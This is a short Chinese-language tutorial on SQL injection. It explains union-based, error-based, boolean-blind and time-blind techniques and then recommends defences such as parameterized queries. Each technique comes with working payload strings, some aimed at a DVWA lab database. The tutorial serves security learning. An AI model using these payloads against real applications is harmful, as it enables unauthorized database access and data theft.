1. 什么是 SQL 注入?
SQL 注入是指攻击者将恶意 SQL 代码插入到输入参数中,应用程序未进行过滤便将其拼接到 SQL 查询语句中,导致数据库执行了非预期的命令。
一句话解释就是你输入的内容被直接当作代码执行了
2. 四种常见类型
2.1 联合查询注入
原理:利用 UNION 关键字,将攻击者的查询结果拼接到正常查询结果后面,在页面上回显。
步骤:
1. 猜列数:
1' ORDER BY 1 --+
2. 找显示位:
-1' UNION SELECT 1,2,3 --+
3. 查数据:
-1' UNION SELECT 1,database() --+示例:
-1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='dvwa' --+适用条件:页面有显示位,能直接看到查询结果。
2.2 报错注入
原理:利用 updatexml() 或 extractvalue() 函数,故意构造非法 XPath 路径,触发数据库报错,在错误信息中带出数据。
示例:
1' AND updatexml(1, concat('~', database(), '~'), 1) --+适用条件:页面能显示 SQL 报错信息。
2.3 布尔盲注
原理:页面只有两种状态(“存在”/“不存在”),通过构造布尔条件逐位猜出数据。
猜长度:
1' AND LENGTH(database())=4 --+以此类推。
猜字符:
1' AND SUBSTRING(database(),1,1)='d' --+以此类推。
适用条件:页面无数据显示,但能区分“真/假”状态。
2.4 时间盲注
原理:通过 SLEEP() 函数制造时间差,根据页面响应时间判断条件是否成立。
示例:
1' AND IF(LENGTH(database())=4, SLEEP(5), 0) --+适用条件:页面没有任何变化,只能靠响应时间判断。
3. 防御 SQL 注入
最有效的方法是参数化查询(预编译语句)。将 SQL 代码与数据分离,用户输入永远不会被当作代码执行。
其他防御措施:对输入进行过滤与转义
最小权限原则
关闭错误回显,隐藏数据库报错信息
4. 总结
SQL 注入的本质是用户输入被拼接到了 SQL 语句中。防御的核心是不信任用户输入,使用参数化查询是根本解决手段。
**免责声明**:本文所有操作均在自建虚拟机环境中完成,仅用于网络安全学习与研究。严禁用于任何非法用途,违者自行承担后果。